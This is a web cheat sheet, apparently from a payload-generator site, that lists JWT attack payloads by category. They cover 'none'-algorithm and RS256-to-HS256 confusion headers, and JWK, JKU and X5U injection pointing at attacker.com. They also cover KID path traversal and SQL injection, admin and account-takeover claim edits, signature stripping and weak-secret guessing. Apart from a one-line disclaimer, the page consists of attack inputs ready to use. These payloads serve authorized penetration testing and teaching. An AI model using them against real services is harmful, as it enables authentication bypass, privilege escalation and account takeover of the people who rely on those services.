# JWT Attacks Cheat Sheet

> JWT attack payloads for algorithm confusion, none algorithm, key injection, and claim manipulation.

Source: https://payloadplayground.com/cheatsheets/jwt-attacks

For authorized security testing only.

## Algorithm Attacks

- `{"alg":"none","typ":"JWT"}` — None algorithm — remove signature
- `{"alg":"None","typ":"JWT"}` — None with capital N
- `{"alg":"NONE","typ":"JWT"}` — None in all caps
- `{"alg":"nOnE","typ":"JWT"}` — None mixed case
- `{"alg":"HS256","typ":"JWT"} signed with RSA public key` — Algorithm confusion: RS256 → HS256
- `{"alg":"HS384","typ":"JWT"} signed with RS384 public key` — Algorithm confusion: RS384 → HS384

## Key Injection

- `{"alg":"HS256","typ":"JWT","jwk":{"kty":"oct","k":"<attacker-key>"}}` — JWK header injection (embedded key)
- `{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/.well-known/jwks.json"}` — JKU header injection (remote JWKS)
- `{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/key.crt"}` — X5U header injection (remote cert)
- `{"alg":"HS256","typ":"JWT","kid":"../../dev/null"}` — KID path traversal (empty key)
- `{"alg":"HS256","typ":"JWT","kid":"key' UNION SELECT 'secret'--"}` — KID SQL injection

## Claim Manipulation

- `{"sub":"admin","role":"admin","iat":...}` — Change subject/role to admin
- `{"exp":9999999999}` — Set expiry far in the future
- `{"sub":"victim","email":"attacker@evil.com"}` — Change email claim for account takeover
- `{"iss":"trusted-issuer"}` — Spoof issuer claim
- `{"aud":"admin-panel"}` — Change audience to privileged service

## Signature Bypass

- `eyJ...eyJ...  (no signature part)` — Strip signature entirely
- `eyJ...eyJ...AA==` — Empty signature (base64 padding)
- `Sign with empty string as secret` — Weak/empty secret key test
- `Sign with "secret", "password", "123456"` — Common weak secrets wordlist

## Related

- [JWT Payloads generator](https://payloadplayground.com/generators/jwt)
- [IDOR generator](https://payloadplayground.com/generators/idor)
- [CSRF Cheat Sheet](https://payloadplayground.com/cheatsheets/csrf.md)
- [CORS Misconfiguration Cheat Sheet](https://payloadplayground.com/cheatsheets/cors.md)
